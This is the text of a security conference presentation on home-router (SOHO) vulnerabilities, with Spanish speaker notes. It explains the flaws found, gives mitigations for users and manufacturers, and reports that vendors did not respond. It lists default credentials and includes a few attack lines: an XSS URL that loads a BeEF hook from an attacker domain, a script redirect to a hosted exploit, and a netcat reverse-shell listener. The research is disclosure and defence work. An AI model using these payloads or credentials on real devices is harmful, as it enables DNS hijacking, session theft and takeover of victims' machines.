3. About us…
3
Meet our research group
Álvaro Folgado
Rueda
Independent Researcher
José Antonio
Rodríguez García
Independent Researcher
Iván Sanz de Castro
Security Analyst at
Wise Security Global.
9. Common security problems
Default credentials
Public and well-known for each model
Non randomly generated
Hardly ever modified by users
9
45%
27%
5%
5%
18%
User / Password
1234 / 1234
admin / admin
[blank] / admin
admin / password
vodafone / vodafone
10. Common security problems
Multiple user accounts
Also with public default credentials
Mostly useless for users
Almost always hidden for end-users
□Passwords for these accounts are never changed
10
12. Bypass Authentication
Allows unauthenticated attackers to carry out router
configuration changes
Locally and remotely
Exploits:
Improper file permissions: Web configuration interface
Service misconfiguration: SMB and Twonky Media Server
12
Persistent DoS / Restore router to default
settings without requiring authentication
Exploiting the Twonky Media Server
Video Demos #1 & #2
13. Cross Site Request Forgery
Change any router configuration settings by sending
a specific malicious link to the victim
Main goal
DNS Hijacking
Requires embedding login credentials in the
malicious URL
Attack feasible if credentials have never been changed
Google Chrome does not pop-up warning
13
14. Cross Site Request Forgery
Suspicious link, isn't it?
URL Shortening Services
Create a malicious website
14
15. Persistent Cross Site Scripting
Inject malicious script code within the web
configuration interface
Goals
Session Hijacking
Browser Infection
15
16. Persistent Cross Site Scripting
Browser Exploitation Framework is a great help
Input field character length limitation
BeEF hooks link to a more complex script file hosted by the
attacker
http://1234:1234@192.168.1.1/goform?param=<script
src="http://NoIPDomain:3000/hook.js"></script>
16
17. Unauthenticated Cross Site Scripting
Script code injection is performed locally without
requiring any login process
Send a DHCP Request PDU containing the malicious
script within the hostname parameter
The malicious script is injected within Connected
Clients (DHCP Leases) table
17
20. Privilege Escalation
User without administrator rights is able to escalate
privileges and become an administrator
Shows why multiple user accounts are unsafe
20
Privilege Escalation via FTP
Video Demo #3
21. Backdoor
Hidden administrator accounts
Completely invisible to end users
But allows attackers to change any configuration setting
21
22. Information Disclosure
Obtain critical information without requiring any
login process
WLAN password
Detailed list of currently connected clients
Hints about router's administrative password
Other critical configuration settings
22
24. Universal Plug and Play
Enabled by default on several router models
Allows application to execute network configuration
changes such as opening ports
Extremely insecure protocol
Lack of an authentication process
Awful implementations
Main goals
Open critical ports for remote WAN hosts
Persistent Denial of Service
Carry out other configuration changes
24
27. Attack vectors
Locally
Attacker is connected to the victim's LAN either using an
Ethernet cable or wirelessly
Remotely
The attacker is outside of the victim's LAN
27
28. Social Engineering is your friend
For link-based remote attacks
XSS, CSRF and UPnP
Social Networks = Build the easiest botnet ever!
Phishing emails = Targeted attacks
28
29. 29
DNS Hijacking via CSRF
Live Demo #1
Unauthenticated Cross Site Scripting via DHCP Request
Live Demo #2
Reflected XSS + client-side attack to get Reverse Shell
Live Demo #3
Bypass Authentication using SMB Symlinks
Live Demo #4
30. 30
Using a Reflected Cross Site Scripting to get a Reverse
Shell on victim's computer
Exploits an Internet Explorer client-side vulnerability:
CVE-2012-1876
Live Demo #3: Details
32. Mitigations: End users
Users start with a broken shield
Limited configuration settings
Several attacks cannot be stopped
Mitigations only work for specific models
Not as easy as buying a brand new router
No antivirus is going to protect you
32
33. Mitigations: End users
Where to start?
Identify your router model
Look for router credentials
Get into the advanced configuration interface
33
34. Mitigations: End users
General recommendations
Only log into the web interface when needed
□ Logout (if possible) / Wipe browser's cache after finishing
Change your router's administrative password
34
36. Mitigations: End users
General recommendations
Do not trust shortened links
Be careful when browsing the web interface
36
37. Mitigations: End users
Multiple user accounts
Try to delete any other administrative account
At least, change their passwords, if possible
37
38. Video Demo #4
Mitigating Privilege Escalation and
account-related attacks
38
39. Mitigations: End users
Services
Disable any unused service if given the chance
□FTP and SMB
□Media Servers: Twonky
□UPnP
□If local risk, DHCP
It does not always work…
39
40. Mitigations: End users
Firmware
Update to the latest version
□Manufacturer might have not fixed any issues
How?
40
41. Mitigations: End users
Custom Firmware Images
For advanced users
More configuration settings
Might have security flaws as well
41
42. Mitigations: Manufacturers
Listen to what security researchers have to say
Do not include useless services
Specially for ISP SOHO routers
At least, make it feasible to completely shut them down
Critical ports closed to WAN by default
At least 21, 22, 23, 80 and 8000/8080
42
43. Mitigations: Manufacturers
Do not include multiple user accounts
Design a safer alternative to UPnP
Avoid using unsafe protocols
HTTP. Telnet. FTP. HTTPS. SSH. SFTP.
Randomly generate user credentials
43
Admin
Password
Serial
Number
MAC
Address
Manufact.
Date
44. Mitigations: Manufacturers
XSS
Check every input field within router's web interface
Sanitize DHCP hostname parameters
Content Security Policies
44
46. Mitigations: Manufacturers
Bypass Authentication & Information Disclosure
Check for improper file permissions and public debug
messages
Service-related
Check for possible wrong service configuration (e.g.: FTP,
SMB)
46
49. Manufacturers' response
Average 2-3 emails sent to each manufacturer
Most of them unreplied... 7 months later
Number of vulnerabilities fixed: 0
49
54. Conclusion
Has SOHO router security
improved?
Hell NO!
Serious security problems
Easy to exploit
With huge impact
Millions of users affected
PLEASE, START FIXING
SOHO ROUTER SECURITY
54
55. 55
Álvaro Folgado Rueda · alvfolrue@gmail.com
José A. Rodríguez García · joseantorodriguezg@gmail.com
Iván Sanz de Castro · ivan.sanz.dcastro@gmail.com
Thank you!
Q&A Time
Ejemplo 1:
Ataque a routers (sobre todo en Brasil). Hace unos años. Afectó a decenas de miles de usuarios.
Es un script sencillo que lo único que hace es intentar explotar un CSRF con las contraseñas por defecto del usuario para cambiar el DNS
En la figura de abajo, se observa el diccionario que contiene los diferentes intentos de CSRF a probar
Ejemplo 2:
Ataque a routers (sobre todo en Brasil y del ISP GVT).
Phishing que redirecciona a una página web maliciosa que ejecuta scripts por detrás
Inyecta las contraseñas en la URL. Si no consigue adivinar la contraseña, te la pide
Como se ve, en la mayoría de casos explotan cosas muy sencillas: fallos humanos o que no se cambie la contraseña, para modificar el DNS (objetivo final)
Ejemplo 3:
Moose se distribuye como un ejecutable convencional para Linux en forma de binario ELF. Este gusano crea automáticamente 36 procesos en los dispositivos que infecta. La mayoría de estos procesos están diseñados especialmente para infectar a otros dispositivos que se conecten a la misma red y poder tener así una mayor actividad.
Los procesos que no son utilizados para infectar otros equipos se centran principalmente en el robo de paquetes y cookies HTTP no cifradas que puedan contener información personal sobre los usuarios como datos bancarios, credenciales de acceso, etc. Este gusano también conecta con un servidor Proxy para visitar cuentas sociales o cargar vídeos de YouTube y otras plataformas y así obtener remuneración económica, aumentar el número de visitar y ganar protagonismo en estas redes sociales.
MODIFICAR:
Poner imagenes SMB
Poner Video Demos WEB Y USB TWONKY
PONER UNA IMAGEN MEJOR DE BEEF
Explicar el ataque.
Se envia un enlace a la victima. EXPLICAR EL ENLACE Y SUS PARTES ANTES DE HACER LA DEMO.
Lo que estamos haciendo es ejecutar codigo Javascript que lo que hace es abrir una nueva window para acceder al recurso hosteado en el servidor del atacante (el exploit)
La maquina del atacante (192.168.1.35, aunque en la realidad seria un NoIPDomain remoto) hostea un servidor web, con un archivo llamado 1 en el directorio raiz, que contiene el exploit.
Explicar ligeramente el exploit y a las versiones de IE que afecta (7 a 10 preview). Podriamos usar otra para Chrome. Esto nos permite ya explotar la maquina y no solo el router.
nc –lvp 4444
Otras notas:
Estamos inyectando esto en 2 partes: <script>window.location.assign("http://192.168.1.35/1");</script>
Pocas opciones de configuración.
Muchos ataques no son mitigables.
Las mitigaciones que vamos a dar aquí solo funcionan para algunos modelos en concreto. Para otros no se puede hacer. CADA ROUTER ES UN MUNDO.
No es tan facil como comprar un router nuevo: los highend pueden tener incluso mas vulnerabilidades auqnue suelen parchear mas freceuntemente
Ningun antivirus detecta estos ataques. Hablar de que algunas empresas se intentaron aprovechar de nuestro articulo.
Buscar el modelo: En la pegatina viene.
Buscar credenciales: O en la pegatina (a veces no viene), o en internet
OJO. ALGUNAS CREDENCIALES NO SON LAS DE LA INTERFAZ CON MAXIMOS PRIVILEGIOS. GOOGLEAR
Solo loggearnos cuando vayamos a hacer cambios: Si nos hacen CSRF o Persistent XSS mientras estamos loggeados, nos inyectan.
Nunca navegar despues de estar loggeados (logout o wipe cache), porque podemos acceder a enlace malicioso y ser atacados
Cambiar Password: Con esto tan simple, mitigamos algunos de los CSRF y Persistent XSS que necesiten inyectar credenciales (pueden seguir utilizando cuentas ocultas)
Uno de los mayores objetivos de los atacantes es cambiar los DNS.
Comprobarlos en el propio Router.
Pero tambien en el OS (Linux o Windows)
Cuidado al navegar por la web del router, que nos puede salir un regalito.
Primeras screens (AW4062)
Permite modificar la password de user. En muchos no se puede
Pero tiene una cuenta oculta, que no permite borrar
Segundas screens (VH4032N):
En la interfaz de Vodafone, solo te deja modificar el usuario vodafone
Hay muchas cuentas de usuario
Terceras screens (RTA01N):
Aparentemente, te deja cambiar todo, todo muy bien hecho para administrar las cuentas de usuario
Pero luego, no te sale el backdoor
NO SE PUEDE ELIMINAR NI MITIGAR ESTE BACKDOOR
Si puedes, deshabilita. Muchas veces, ni puedes
Y las veces que puedes, a veces no se cambia bien
Ejemplos:
Deshabilitar FTP, o hacerlo LAN Only
Deshabilitar el Twonky. Cuidado desde qué interfaz
Deshabilitar UPnP. Puede seguir respondiendo
Como hacerlo?
A veces, simplemente basta con restaurar el router a ajustes de fabrica. Lo pueden hacer por usuarios ocultos+FTP / TR-069
Descargarla de algun sitio (cuidado)
Contactar con el ISP a través de sus foros oficiales
Sometimes, by just restoring the router to default
Contact your ISP (forums are useful)
Download it from somewhere (be careful)
Por ejemplo. UPnP vulnerable en algunos de estos. XSS y CSRF en todos.
OpenWRT:
DD-WRT: Tuvo hace tiempo varias gordas hasta la v24. Tambien DNS Rebinding, Information Disclosure.
PFSense: Remote Code Execution, Arbitrary File Deletion
Proposicion de algoritmo para la generacion de la clave de admin. Que dependa de varias cosas que se saben de fabrica y que no cuesta meterlas en el router. Si solo depende de la MAC, al ser facilmente averiguable, si terminan averiguando el algoritmo con reversing, luego pueden lanzar un generador de keys, como pasa con las claves del Wi-Fi. Pero al depender de otros parametros a los que no se tiene acceso desde fuera, es imposible descifrar la pass aunque se conozca el algoritmo (un atacante externo NUNCa va a conocer la fecha de fabricacion del router y el numero de serie del mismo)
Pon SSL en tu vida
Decir que esta frase es muy importante
Generar tokens aleatorios: Dices que hay un ejemplo para el token en las figuras.
Luego vas pasando el resto y LEYENDO la frase en negrita en español.
Valores recomendados para el smb.conf:
Asi evitariamos que usuarios sin autenticar/no validos se loggearan
Y que cualquier usuario pudiera crear enlaces simbolicos fuera de /var/usb
Buena configuracion para poder compartir cosas a traves del router